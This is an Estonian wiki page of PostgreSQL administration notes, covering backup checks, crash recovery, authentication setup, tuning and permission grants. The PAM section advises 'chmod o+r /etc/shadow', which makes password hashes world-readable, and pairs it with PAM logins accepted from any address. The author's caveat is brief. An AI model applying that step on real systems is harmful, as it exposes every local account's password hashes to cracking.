* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse katki nagiosele signaal&lt;br /&gt;
&lt;br /&gt;
ning Nagioses kirjeldada passiivne kontroll&lt;br /&gt;
&lt;br /&gt;
 define service {  &lt;br /&gt;
   host_name                  www-1.auul &lt;br /&gt;
   service_description        backup&lt;br /&gt;
   use                        passive-generic-service&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi UTF-8 kodeeringuvigade parandamine===&lt;br /&gt;
&lt;br /&gt;
Järnev skript kontrollib sisendisse antud sql dump faili vastavust utf8 kodeeringule ning väljastab vigaste kirjete kohta andmed&lt;br /&gt;
&lt;br /&gt;
 #!/usr/bin/python&lt;br /&gt;
 import sys, time&lt;br /&gt;
 &lt;br /&gt;
 rownr = 0&lt;br /&gt;
 t0 = t1 = time.time()&lt;br /&gt;
 next = sys.stdin.readline&lt;br /&gt;
 &lt;br /&gt;
 errors = open('utf8errors.log','w')&lt;br /&gt;
 &lt;br /&gt;
 while 1:&lt;br /&gt;
     row = next()&lt;br /&gt;
     if not row:&lt;br /&gt;
         break&lt;br /&gt;
     try:&lt;br /&gt;
         urow = row.decode('utf8')&lt;br /&gt;
     except:&lt;br /&gt;
         print row&lt;br /&gt;
         errors.write(row)&lt;br /&gt;
     rownr += 1&lt;br /&gt;
     if rownr % 1000000 == 0:&lt;br /&gt;
         t2 = time.time()&lt;br /&gt;
         print rownr, t2 - t1, t2 - t0&lt;br /&gt;
         t1 = t2&lt;br /&gt;
 &lt;br /&gt;
 print 'Done!'&lt;br /&gt;
 t2 = time.time()&lt;br /&gt;
 print rownr, t2 - t1, t2 - t0&lt;br /&gt;
&lt;br /&gt;
Kasutamine toimub öeldes&lt;br /&gt;
&lt;br /&gt;
  $ cat dump.sql | ./utf8check.py&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
* show &amp;lt;tab&amp;gt; - esitab nimekirja võimalikest küsimustest, nt&lt;br /&gt;
&lt;br /&gt;
  show max_connections;&lt;br /&gt;
  max_connections &lt;br /&gt;
 -----------------&lt;br /&gt;
  100&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi poolt failisüsteemis kasutatud mahu küsimine, sisaldab indekseid&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_database_size('andmebaasinimi')) As fulldbsize;&lt;br /&gt;
&lt;br /&gt;
* Tabeli suuruse küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; SELECT pg_size_pretty(pg_total_relation_size('skeeminimi.tabelinimi')) As fulltblsize, \&lt;br /&gt;
   pg_size_pretty(pg_relation_size('skeeminimi.tabelinimi')) As justthetblsize;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi vacuumil esineb anomaaliaid, siis võib olla abiks baasi vacuumimine tabeli kaupa. Tabelite nimekirja saab küsida andmebaasilt öeldes&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h hostname -c &amp;quot;select n.nspname||'.'||c.relname from pg_class c join pg_namespace n on \&lt;br /&gt;
   (c.relnamespace=n.oid) where relkind='r' order by 1;&amp;quot; baasinimi &amp;gt; vacuum-tabelid.txt&lt;br /&gt;
&lt;br /&gt;
ning saadud nimekirja abil toimub vakumeerimine öeldes&lt;br /&gt;
&lt;br /&gt;
 $ for i in `cat vacuum-tabelid.txt`; do psql -c &amp;quot;vacuum verbose analyze $i&amp;quot; -U postgres -h hostname -p5432 baasinimi \&lt;br /&gt;
   1&amp;gt; $i-1.log 2&amp;gt; $i-2.log; sleep 5; done&lt;br /&gt;
&lt;br /&gt;
* v. 8.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
 $ du -sk /data/postgresql/8.4/main/base/16400/* | sort -n | tail -n 4&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.6&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.7&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.8&lt;br /&gt;
 1049604 /data/postgresql/8.4/main/base/16400/195106.9&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195106 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode       Table Name     Oid    Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------&lt;br /&gt;
    195106  pg_toast_195103  195106  pg_toast  pg_default&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d loomaaed -f 195103 -x&lt;br /&gt;
 From database &amp;quot;loomaaed&amp;quot;:&lt;br /&gt;
  Filenode             Table Name    Oid  Schema  Tablespace&lt;br /&gt;
 ------------------------------------------------------------&lt;br /&gt;
    195103  tabelinimi  74224  wizard  pg_default&lt;br /&gt;
&lt;br /&gt;
Tulumusena on teada, et 195106.6 fail on seotud wizard.tabelinimi tabeliga.&lt;br /&gt;
&lt;br /&gt;
* v. 9.4 - failinime järgi tabeli leidmine, kui failisüsteemis on suured failid ja tekib küsimus, millise tabeliga on nad seotud, sobib öelda nii&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# \c baasinimi&lt;br /&gt;
baasinimi=# select pg_filenode_relation(0,233328054);&lt;br /&gt;
 pg_filenode_relation &lt;br /&gt;
----------------------&lt;br /&gt;
 baasinimi&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
baasinimi=# select pg_relation_filepath('tabelinimi');&lt;br /&gt;
 pg_relation_filepath &lt;br /&gt;
----------------------&lt;br /&gt;
 base/16424/233328054&lt;br /&gt;
(1 row)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi krahh===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi krahh (ingl. k. crash) on selline olukord kus andmebaasi töö on lõppenud ilma nö normaalselt andmebaasi protsesse seisates, nt öeldes&lt;br /&gt;
&lt;br /&gt;
 # pg_ctlcluster 9.2 main stop&lt;br /&gt;
&lt;br /&gt;
Krahh võivad tekkida nt järgmistel juhtudel&lt;br /&gt;
&lt;br /&gt;
* seoses operatsioonisüsteemi krahhiga (nt arvutil kaob toide)&lt;br /&gt;
* andmefailide failisüsteem saab täis&lt;br /&gt;
* andmebaasi ise või mõni moodul kasutab mälu valesti ja kogu baasi töö lõpetatakse (andmebaasi teeb endale ise restardi)&lt;br /&gt;
&lt;br /&gt;
====Anmdmebaasi käivitamine peale krahhi====&lt;br /&gt;
&lt;br /&gt;
Üldiselt PostgreSQL andmebaas ei lähe krahhi tulemusena katki, andmebaas kasutab failisüsteemi sellisel viisil, et järgmisel käivitamisel jõuab baas viimase töötava seisuni (transaktsioonini) ja jätkab sealt. Midagi erilist pole teha vaja lisaks tavalisele baasi käivitamisel, logisse kirjutatakse seejuures&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====Krahh PITR varundamise ajal====&lt;br /&gt;
&lt;br /&gt;
Kui enamusel juhtudel peale krahhi toimumist piisab andmebaas tavalisel moel käivitada ja ta jätkab tööd, siis PITR backupi (st pg_start_backup/pg_stop_backup) tegemise ajal toimunud krahhi puhul on andmeklastri kataloogis ees fail, mis segab käivitumist&lt;br /&gt;
&lt;br /&gt;
 /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Samal ajal öeldakse logisse&lt;br /&gt;
&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  1 2013-03-20 12:10:25 EET 0 LOG:  database system was interrupted; last known up at 2013-03-20 12:10:09 EET&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  2 2013-03-20 12:10:25 EET 0 LOG:  could not open file &amp;quot;pg_xlog/00000001000005E600000008&amp;quot; (log file 1510, segment 8): \&lt;br /&gt;
   No such file or  directory&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  3 2013-03-20 12:10:25 EET 0 LOG:  invalid checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  4 2013-03-20 12:10:25 EET 0 PANIC:  could not locate required checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  5 2013-03-20 12:10:25 EET 0 HINT:  If you are not restoring from a backup, try removing the file &amp;quot;/data/postgresql/backup_label&amp;quot;.&lt;br /&gt;
 2013-03-20 12:10:25 EET batchmanager portaal 127.0.0.1(50593) 15969  51498b11.3e61  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET eit1 xportal 10.100.6.75(55188) 15970  51498b11.3e62  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  37 2013-03-09 23:33:45 EET 0 LOG:  startup process (PID 15966) was terminated by signal 6: Aborted&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  38 2013-03-09 23:33:45 EET 0 LOG:  aborting startup due to startup process failure&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* on näha, et baasi käivitamisega on probleem&lt;br /&gt;
* HINT annab teada, mida teha, tuleb eemaldada pg_start_backup() ütlemisega tekitatud fail backup_label&lt;br /&gt;
&lt;br /&gt;
 $ rm /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Seejärel võib baasi tavapärasel viisil edasi kasutada&lt;br /&gt;
&lt;br /&gt;
====Krahhi uurimine====&lt;br /&gt;
&lt;br /&gt;
* Kui nt PL keeles tehtud protseduur kasutab mõnda teeki, mis omakorda kasutab mõnda teeki, mida aga failisüsteemis ei ole, siis tavaliselt andmebaas crashib teatega&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  3 2010-05-18 15:58:00 EEST 0 LOG:  server process (PID 32188) exited with exit code 12&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  4 2010-05-18 15:58:00 EEST 0 LOG:  terminating any other active server processes&lt;br /&gt;
&lt;br /&gt;
Põhjusele võib aidata jälile jõuda mainitud PID väärtust eestpoolt logist otsides, nt antud juhtumil&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 1 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   WARNING:  error from Perl function &amp;quot;sqlora&amp;quot;: install_driver(Oracle) failed: Can't load&lt;br /&gt;
   '/usr/local/lib/perl/5.8.8/auto/DBD/Oracle/Oracle.so' for module DBD::Oracle: libclntsh.so.10.1: cannot open shared object file: \&lt;br /&gt;
   No such file or directory at /usr/lib/perl/5.8/DynaLoader.pm line 225.&lt;br /&gt;
         at line 5&lt;br /&gt;
        Compilation failed in require at line 3.&lt;br /&gt;
        Perhaps a required shared library or dll isn't installed where expected&lt;br /&gt;
         at line 11&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 2 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   CONTEXT:  PL/pgSQL function &amp;quot;low&amp;quot; line 2 at RETURN&lt;br /&gt;
        PL/pgSQL function &amp;quot;field&amp;quot; line 335 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;sisu&amp;quot; line 502 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;show&amp;quot; line 56 at assignment&lt;br /&gt;
 Out of memory!&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi monitooring===&lt;br /&gt;
&lt;br /&gt;
* Üheks andmebaasi oluliseks andmebaasi seisundit iseloomustavaks näitajaks on kui kaugel ta on nn wraparound ajast, arv peab olema alati alla 2g ja seda hoiab väiksena korrapärane andmebaasi vakumeerimine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT relname, age(relfrozenxid) FROM pg_class WHERE relkind = 'r';&lt;br /&gt;
 SQL&amp;gt; SELECT datname, age(datfrozenxid) FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi sisemisi näitajaid sobib kasutada Cactiga graafikute joonistamiseks või Nagiosegaga alarmi saatmiseks, nt http://bucardo.org/wiki/Check_postgres.&lt;br /&gt;
&lt;br /&gt;
Kasulikud materjalid&lt;br /&gt;
&lt;br /&gt;
* http://kuutorvaja.eenet.ee/wiki/Nagiose_kasutamine_Debian_Lenniga#PostgreSQL&lt;br /&gt;
&lt;br /&gt;
===Failisüsteemi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Tekst http://www.postgresql.org/docs/9.0/static/storage-file-layout.html kirjeldab kuidas PostgreSQL andmebaas kasutab failisüsteemi&lt;br /&gt;
&lt;br /&gt;
 faili-või kataooginimi	  Kirjeldus&lt;br /&gt;
 PG_VERSION	          A file containing the major version number of PostgreSQL&lt;br /&gt;
 base	                  Subdirectory containing per-database subdirectories&lt;br /&gt;
 global	                  Subdirectory containing cluster-wide tables, such as pg_database&lt;br /&gt;
 pg_clog	          Subdirectory containing transaction commit status data&lt;br /&gt;
 pg_multixact	          Subdirectory containing multitransaction status data (used for shared row locks)&lt;br /&gt;
 pg_notify	          Subdirectory containing LISTEN/NOTIFY status data&lt;br /&gt;
 pg_stat_tmp	          Subdirectory containing temporary files for the statistics subsystem&lt;br /&gt;
 pg_subtrans	          Subdirectory containing subtransaction status data&lt;br /&gt;
 pg_tblspc	          Subdirectory containing symbolic links to tablespaces&lt;br /&gt;
 pg_twophase         	  Subdirectory containing state files for prepared transactions&lt;br /&gt;
 pg_xlog	          Subdirectory containing WAL (Write Ahead Log) files&lt;br /&gt;
 postmaster.opts	  A file recording the command-line options the server was last started with&lt;br /&gt;
 postmaster.pid	          A lock file recording the current server PID and shared memory segment ID (not present after server shutdown&lt;br /&gt;
&lt;br /&gt;
Andmebaaside OID väärtusi kasutadakse failisüteemis kataloogis base asuvate andmebaasidele vastavate kataloogide nimedena&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT datname, oid FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kataloogis asub selliseid faile&lt;br /&gt;
&lt;br /&gt;
* tabelitele ja indeksitele vastavad failid, mille nimedena kasutatakse üldiselt vastavad OID väärtusi&lt;br /&gt;
* tabeli ja indeksi failiga kaasnevad vastavad *_fsm ja *_vm failid, mis on vastavalt free space map ning visibility map&lt;br /&gt;
* kui tabeli 8kB suurusse pagesse ei mahu tabeli rida ära, siis kasutatakse vastavate andmete hoidmiseks TOAST (The Oversized-Attribute Storage Technique) faili&lt;br /&gt;
* kui tabeli on üle 1 GB suur, siis hoitakse vastavaid andmeid OID.1, OID.2 jne nimelistes failides&lt;br /&gt;
&lt;br /&gt;
Tabeli nimi, oid väärtuse, kasutatud 8kB lehted ja tabelis sisalduvate korteežide arvu kohta saab küsida selliselt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select relname, oid, relpages, reltuples from pg_class limit 10;&lt;br /&gt;
          relname          |  oid  | relpages | reltuples &lt;br /&gt;
 --------------------------+-------+----------+-----------&lt;br /&gt;
  priidutabel              |  1247 |        7 |       283&lt;br /&gt;
  marditabel               | 11550 |        0 |         0&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
contrib utiliit oid2name abil saab küsida oid väärtusele vastavat tabelinime&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d rsyslog -f 2755 -x &lt;br /&gt;
 From database &amp;quot;loomdb&amp;quot;:&lt;br /&gt;
   Filenode             Table Name   Oid      Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------------&lt;br /&gt;
       2755            priidutabel  2755       priit  pg_default&lt;br /&gt;
&lt;br /&gt;
===Kasutaja autentimine===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi toimub andmebaasi kasutaja autentimine selliselt, et&lt;br /&gt;
&lt;br /&gt;
* baasi saab üle võrgu sisse logida baasis kirjeldatud kasutaja oma baasis kirjeldatud parooliga&lt;br /&gt;
* baasi saab lokaalselt sisse logida kasutaja, kelle unix kasutajanimi klapib baasis kirjeldatud kasutajanimega&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine /etc/passwd abil====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kasutaja autentimiseks nö süsteemi lokaalse kasutajana sobib kasutada pg_hba.conf failis nt rida&lt;br /&gt;
&lt;br /&gt;
 host all all 0.0.0.0/0 pam&lt;br /&gt;
&lt;br /&gt;
ning muuta /etc/shadow faili loabit, seejuures tuleb ise hinnata, kas see muudatus on aktsepteeritav&lt;br /&gt;
&lt;br /&gt;
 # chmod o+r /etc/shadow&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Kerberosega====&lt;br /&gt;
&lt;br /&gt;
Kerberose kasutaja autentimiseks Kerberosega peab olema kasutada Kerberose infrastruktuur, nt selline nagu kirjeldatud tekstis [[:MIT Kerberose kasutamine Debianiga]]. Lisaks tuleb&lt;br /&gt;
&lt;br /&gt;
* moodustada andmebaasiarvuti PostgreSQL teenusele vastav Kerberose osapool öeldes andmebaasi arvutis kasutajana postgres&lt;br /&gt;
&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;addprinc postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;ktadd -k /etc/postgresql-common/krb5.keytab postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kasutada pg_hba.conf failis sarnast rida&lt;br /&gt;
&lt;br /&gt;
 # TYPE  DATABASE    USER    CIDR-ADDRESS        METHOD&lt;br /&gt;
 ...&lt;br /&gt;
 host    all         all     192.168.10.205/32   gss&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et kerberose kasutaja nimi langeb kokku andmebaasi kasutaja nimega saab seejärel kasutaja andmebaasi sisse logida öeldes tavalisel moel&lt;br /&gt;
&lt;br /&gt;
 $ psql -h postgresql.loomaaed -U priit priit&lt;br /&gt;
&lt;br /&gt;
Samuti toetab PgAdmin3 GSSAPI kasutamist.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine PAM + LDAP kataloogiga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et süsteemis on PAM LDAP backend kasutamine ettevalmistatud sobib PostgreSQL kasutajate LDAP kataloogi vastu autentimiseks&lt;br /&gt;
&lt;br /&gt;
* PostgreSQL pg_hba.conf seadistusfailis kasutada nt rida&lt;br /&gt;
&lt;br /&gt;
 host    all         all        127.0.0.1/32 pam pamservice=postgresql&lt;br /&gt;
&lt;br /&gt;
* /etc/pam.d/postgresql failis kasutada ridu (pamservice parameeter näitab PAM teenuse nime)&lt;br /&gt;
&lt;br /&gt;
 auth    sufficient      pam_ldap.so&lt;br /&gt;
 account sufficient      pam_ldap.so&lt;br /&gt;
&lt;br /&gt;
Oluline on tähele panna, et antud asjakorralduse puhul peab PostgreSQL andmebaasis olema kõnealune kasutaja olemas ja tema privileegid kirjeldatud, ainult autentimine toimub PAM+LDAP abil.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Active Directory vastu====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi tuunimine===&lt;br /&gt;
&lt;br /&gt;
Aadressil http://wiki.postgresql.org/wiki/Performance_Optimization on toodud mitmeid viiteid tekstidele, kuidas admebaasi seadistusfaili sobivate seadistuste valimisel suurendada andmebaasi jõudlust.&lt;br /&gt;
&lt;br /&gt;
* shared_buffers - kui arvutis ei tööta muid olulisi protsesse peale andmebaasi, siis võiks selle parameetri väärtus olla 1/4 operatsioonisüsteemi mälust (RAM); seejuures tuleb tõenäoliselt suurendada ka kernel.shmmax parameetri väärtust, nt pooleli ram'ist, nt kui ram on 4g, siis sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # sysctl -w kernel.shmmax=2147483648&lt;br /&gt;
&lt;br /&gt;
Tavaliselt on kernel.shmall väärtus piisavalt suur, see väljendab kogu jagatud mälu suurust süsteemis page ühikutes (4 kB x86 raual); nt 2097152 = 8G&lt;br /&gt;
&lt;br /&gt;
PostgeSQL enda manuaalis on vastavad juhised aadressil http://www.postgresql.org/docs/8.3/interactive/kernel-resources.html.&lt;br /&gt;
&lt;br /&gt;
* max_connections = 750&lt;br /&gt;
* superuser_reserved_connections = 8&lt;br /&gt;
* work_mem - &lt;br /&gt;
* maintainance_work_mem -&lt;br /&gt;
* effective_cache_size - pool arvuti mälu suurusest&lt;br /&gt;
&lt;br /&gt;
shmall ja shmmax arvutamiseks sobib nt selline skript, http://www.postgresql.org/message-id/4D3B1F75.8040405@2ndquadrant.com&lt;br /&gt;
&lt;br /&gt;
 page_size=`getconf PAGE_SIZE`&lt;br /&gt;
 phys_pages=`getconf _PHYS_PAGES`&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$page_size&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine page size&lt;br /&gt;
   exit 1&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$phys_pages&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine number of memory pages&lt;br /&gt;
   exit 2&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 shmall=`expr $phys_pages / 2`&lt;br /&gt;
 shmmax=`expr $shmall \* $page_size`&lt;br /&gt;
 &lt;br /&gt;
 echo \# Maximum shared segment size in bytes&lt;br /&gt;
 echo kernel.shmmax = $shmmax&lt;br /&gt;
 echo \# Maximum number of shared memory segments in pages&lt;br /&gt;
 echo kernel.shmall = $shmall&lt;br /&gt;
&lt;br /&gt;
256 GB mäluga arvutis annab ta sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
 # sh shmsetup&lt;br /&gt;
 # Maximum shared segment size in bytes&lt;br /&gt;
 kernel.shmmax = 135512178688&lt;br /&gt;
 # Maximum number of shared memory segments in pages&lt;br /&gt;
 kernel.shmall = 33084028&lt;br /&gt;
&lt;br /&gt;
Debian Wheezy, Ubuntu 12.04 jt keskkondade ja PGDG andmebaasi puhul paigutatakse need parameetrid /etc/sysctl.d/30-postgresql-shm.conf seadistusfaili.&lt;br /&gt;
&lt;br /&gt;
Kui work_mem väärtus on liig väike, siis kasutatakse tmp faile, nende kasutamisest aitab aimu saada log_temp_files parameeter&lt;br /&gt;
&lt;br /&gt;
 #log_temp_files = -1                    # log temporary files equal or larger&lt;br /&gt;
                                         # than the specified size in kilobytes;&lt;br /&gt;
                                         # -1 disables, 0 logs all temp files&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://pgtune.leopard.in.ua/&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tehtud ühenduste logimiseks sobib kasutada ridu&lt;br /&gt;
&lt;br /&gt;
 log_connections = on&lt;br /&gt;
 log_disconnections = on&lt;br /&gt;
&lt;br /&gt;
* kasutaja päringute logimiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'all';&lt;br /&gt;
&lt;br /&gt;
kuna see täidab tõenäoliselt hästi failisüsteemi, tuleb peale kasutamist logimine uuesti välja lülitada&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'none';&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* pg_dump ei salvesta andmebaasi search_path'i, see peale baasi taastamist tuleb sobiv alter lause eraldi öelda, nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER DATABASE loomaaed SET search_path=loom, lind;&lt;br /&gt;
&lt;br /&gt;
* kasutaja search_path seadmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; dvk=# ALTER USER dkk_admin SET search_path = dkk, public;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi arhiivifaili sisselugemisel keelega seotud teegi asukoht muutub, siis sobib teha kas sobib link, nt&lt;br /&gt;
&lt;br /&gt;
 # ln -s /usr/lib/postgresql/8.3/lib/plpgsql.so /usr/local/postgresql/lib/plpgsql.so&lt;br /&gt;
&lt;br /&gt;
või moodustada nö käsitsi vastav keel enne arhiivifaili kasutamist&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; CREATE LANGUAGE plpgsql;&lt;br /&gt;
&lt;br /&gt;
* Suuremate nö bulk-insertide puhul on normaalne, et logisse ilmuvad sellised teated&lt;br /&gt;
&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  135 2010-06-03 20:42:20 EEST 0 LOG:  checkpoints are occurring too frequently \&lt;br /&gt;
   (21 seconds apart)&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  136 2010-06-03 20:42:20 EEST 0 HINT:  Consider increasing the configuration \&lt;br /&gt;
   parameter &amp;quot;checkpoint_segments&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Kõigile baasi tabelitele, mis võivad asuda erinevates skeemides grantide ütlemine&lt;br /&gt;
&lt;br /&gt;
 $ psql -h 127.0.0.1 -U kasutaja baas -c '\dt' | egrep &amp;quot;data|public|wizard|live&amp;quot; | awk '{ print $1 &amp;quot;.&amp;quot; $3}' &amp;gt; baas.tabelid&lt;br /&gt;
 $ for i in `cat baas.tabelid`; do psql -h 127.0.0.1 -U kasutaja baas -c &amp;quot;GRANT SELECT ON TABLE $i TO grupinimi;&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
* sequence viimase väärtuse küsimune, last_value asemele võib kirjutada ka *&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select last_value from skeeminimi.sq_tabelinimi_id;&lt;br /&gt;
 last_value &lt;br /&gt;
 ------------&lt;br /&gt;
    1009492&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
* Kui ühenduste arv (max_connections) on täis, siis logitakse&lt;br /&gt;
&lt;br /&gt;
 2016-07-22 13:49:35 EEST rakendus rakendus 10.100.7.168(38576) 12756 startup 5791fa3f.31d4 startup 1 \&lt;br /&gt;
   2016-07-22 13:49:35 EEST 0 FATAL:  remaining connection slots are reserved for non-replication superuser connections&lt;br /&gt;
&lt;br /&gt;
===Ligipääsude massiline haldamine===&lt;br /&gt;
&lt;br /&gt;
====Skeemid====&lt;br /&gt;
&lt;br /&gt;
Tõenäoliselt saab nii nö päris schemade nimekirja&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select * from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
Kõigile skeemidele portaal_ro non-login rollile USAGE privileegi andmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'GRANT USAGE ON ' || schema_name || ' TO portaal_ro;' from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
====Tabelid====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====20171017 täiendus====&lt;br /&gt;
&lt;br /&gt;
Skeemi public kõigile tabelitele lugemise ligipääsu andmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SQL&amp;gt; create role wiki_ro;&lt;br /&gt;
SQL&amp;gt; \c baasinimi&lt;br /&gt;
SQL&amp;gt; GRANT SELECT ON ALL TABLES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; create role wiki_bi login;&lt;br /&gt;
SQL&amp;gt; grant wiki_ro to wiki_bi;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://jamie.curle.io/creating-a-read-only-user-in-postgres&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL SSL toe kasutamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Extensionite kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; select * from pg_available_extensions order by name;&lt;br /&gt;
&lt;br /&gt;
===pg_buffercache===&lt;br /&gt;
&lt;br /&gt;
pg_buffefrcache on contrib moodul, kasutamiseks tuleb laadida baasi abivahendid&lt;br /&gt;
&lt;br /&gt;
 $ psql -p 5432 -U postgres -d pgbench -f /usr/share/postgresql/9.0/contrib/pg_buffercache.sql&lt;br /&gt;
&lt;br /&gt;
===Baasi kustutamine===&lt;br /&gt;
&lt;br /&gt;
Reeglina ei saa kustuta create database andmebaasi kui seal on kasutajad küljes, selle vastu võiks aidata selline skript&lt;br /&gt;
&lt;br /&gt;
 # cat kustuta-test-baas.sh&lt;br /&gt;
 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;update pg_database set datallowconn = 'false' where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
